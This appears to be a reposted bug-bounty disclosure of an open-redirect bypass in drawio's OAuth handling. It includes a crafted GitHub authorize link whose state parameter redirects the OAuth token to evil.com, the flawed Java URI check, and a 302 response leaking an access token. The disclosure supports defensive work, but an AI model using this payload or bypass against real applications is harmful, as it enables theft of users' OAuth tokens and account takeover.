Site icon API Security Blog

Leakage of third-party OAuth token via redirect

# Description
The application allows the usage of third-parties to store the files, such as Google Drive, Github, Gitlab, etc. It’s possible to bypass the protection of the `redirect` parameter and redirect the user and the OAuth token to an attacker controlled site.

# Proof of Concept

1. An attacker creates an third-party authorize link, such as :

https://github.com/login/oauth/authorize?client_id=Iv1.98d62f0431e40543&state=cId%3DIv1.98d62f0431e40543%26domain%3Dapp.diagrams.net%26redirect%3dhttps%3a%2f%2f%20%40evil.com%2f%26token%3Dplrpdrqccuavr39ta3h5bcmjoghhk2le7tdiflbm3ljpe4tdqj

The `state` parameter is altered to have the malicious `redirect`

“`
&redirect=https:// @evil.com/
“`
Note the space %20 after `https://`

2. The attacker sends the victim the link and the victim authorize it, thinking it’s from drawio.

3. When the victim is redirected back to drawio, the `redirect` parameter inside the `state` will be parsed and checked

“`java
successRedirect = stateVars.get(“redirect”);

//Redirect to a page on the same domain only (relative path)
if (successRedirect != null && isAbsolute(successRedirect))
{
successRedirect = null;
}
“`

The `isAbsolute` function is defined as :

“`java
public static boolean isAbsolute(String url)
{
if (url.startsWith(“//”)) // //www.domain.com/start
{
return true;
}

if (url.startsWith(“/”)) // /somePage.html
{
return false;
}

boolean result = false;

try
{
URI uri = new URI(url);
result = uri.isAbsolute();
}
catch (URISyntaxException e) {} //Ignore

return result;
}
“`

The bypass occurs on the `try/catch`, if the `redirect` value is an invalid URI it will return `false` and allow the redirect. The problem is that ,although invalid, `https:// @evil.com/` will be accepted by the browser and the user will be redirected to `evil.com` .

HTTP RESPONSE
“`
HTTP/2 302 Found
Date: Sat, 14 May 2022 04:08:37 GMT
Content-Type: text/html
Location: https:// @evil.com/#%7B%22access_token%22%3A%22ghu_eEEIwuwg1GN1FwidVj4TS4pAa8plEc02asJs%22%2C%22expires_in%22%3A28800%7D
Set-Cookie: auth-state= ;path=/github2; expires=Thu, 01 Jan 1970 00:00:00 UTC; Secure; HttpOnly; SameSite=none
Set-Cookie: auth-tokenIv1.98d62f0431e40543=ghr_MRUNjYWPUiKUDKFlQTxcT6442q0L6l6LdWcKf9XBqeYZV3bYYhMyaX6fYJV8kuKk1WRO6Y4gQHzK; Max-Age=31536000;path=/github2; Secure; HttpOnly; SameSite=none
X-Cloud-Trace-Context: 766df5ad8123a0fa5701fc92aec830d4
Cf-Cache-Status: DYNAMIC
Expect-Ct: max-age=604800, report-uri=”https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct”
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Server: cloudflare
Cf-Ray: 70b0c6119831273d-FOR

“`

Note the `Location` header.

I wasn’t able to reproduce the vulnerability on the main website because if the `IS_GAE` variable is True the application will check the authentication state via the cookies :

“`java
//Non GAE runtimes are excluded from state check. TODO Change GAE stub to return null from CacheFactory
else if (IS_GAE && (stateToken == null || !stateToken.equals(cookieToken)))
{
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
}
“`Read More

Exit mobile version